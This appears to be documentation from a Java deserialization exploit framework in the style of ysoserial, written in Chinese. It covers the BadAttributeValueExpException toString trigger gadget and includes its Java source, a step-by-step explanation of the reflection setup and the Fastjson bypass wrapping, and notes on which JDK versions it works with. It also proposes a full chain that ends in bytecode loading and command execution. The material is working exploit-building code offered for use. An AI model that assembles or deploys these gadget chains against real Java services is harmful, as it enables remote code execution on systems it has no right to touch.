- 类别:common 别名:— 优先级:11
- 作者:—
- 依赖:
8 <= jdk <= 14(纯 JDK,无第三方依赖)
经典的 Java 原生反序列化「toString 触发器」。利用 javax.management.BadAttributeValueExpException#readObject() 在反序列化时会对其 val 字段调用 toString() 的行为,把一次原生反序列化转换为对任意对象的 toString() 调用,作为链首把执行流引向下游 toString 型 sink。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口,本 gadget 可直接作为原生反序列化链的最外层触发点。 - 衔接
nextTags:ToString—— 之后接一个暴露危险toString()的 gadget(如JacksonToString、XBeanToString、FastjsonToString1/2),由它把toString进一步引向字节码/JNDI/表达式 sink。 excludes:无。
@GadgetTags(tags={"JavaNativeDeserialize"}, nextTags={"ToString"})
public class BadAttributeValueExpExceptionToString implements Gadget {
private Object getObject(Object obj) throws Exception {
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
Reflections.setFieldValue(badAttributeValueExpException, "val", obj); // 关键:把 toString 目标塞进 val
Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null);
Reflections.setFieldValue(badAttributeValueExpException, "cause", null);
return badAttributeValueExpException;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 内层 toString gadget 产物
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY); // Fastjson 场景的旁路对象
Object resultObject = this.getObject(object);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject); // 若需旁路,包一层 List
}
return resultObject;
}
}- 构造时先
new BadAttributeValueExpException((Object)null):传入null是为了让构造器不在构造阶段就调用toString(构造器仅在有SecurityManager时才可能触发,传 null 可安全构造)。 - 随后用反射把真正的
toString目标写入val字段。反序列化时BadAttributeValueExpException.readObject()内部逻辑会在System.getSecurityManager() == null时执行valObj = val.toString(),从而触发下游 sink 的toString()。 - 额外把
stackTrace置空数组、suppressedExceptions/cause置null,是为了清理异常对象的多余字段,避免序列化体积膨胀或反序列化时因这些字段引发无关问题。 invoke中读取FASTJSON_HANDLE_BYPASS_KEY:当下游是 Fastjson 型 toString sink 且需要旁路处理时,用CommonMethod.listWrap(getterObject, resultObject)把旁路对象与本产物一起包进 List,配合 Fastjson 的自动toString调用完成触发;无旁路需求则直接返回 BAVE 对象。
关键触发条件:System.getSecurityManager() 必须为 null。若存在安全管理器,readObject 会跳过 val.toString() 分支,链失效。
本类无 @Param 可配参数;toString 目标由 chain.doCreate 注入的内层对象决定,旁路对象由链上下文 FASTJSON_HANDLE_BYPASS_KEY 提供。
- 适用
8 <= JDK <= 14。JDK 15+ 中BadAttributeValueExpException#readObject()逻辑收紧,不再无条件对val调用toString,本链失效。 - 需
System.getSecurityManager()为null。 - 描述明确给出高版本替代方案:
HotSwappableTargetSource + XString组合(即HotSTSourceEquals+XString*系列),用equals→toString或XString.toString绕过高版本限制。 - 是 ysoserial/marshalsec 中广为人知的 BAVE toString 触发器在本框架中的实现。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为原生反序列化链首手工组合,例如:BadAttributeValueExpExceptionToString → JacksonToString → TWrap → TemplatesImpl → BytecodeConvert → Exec。
- 上游:原生反序列化入口(
JavaNativeDeserializepayload),本 gadget 即链首。 - 下游(
tags=ToString):JacksonToString、XBeanToString、FastjsonToString1/FastjsonToString2、RomeToStringBean1/2、SpringAopAspectjweaver - 同类 toString 触发器:AudioFileFormat/AudioFormat(走
equals→toString)、EventListenerListToString、TextAndMnemonicHashMapToString、XString1/2/3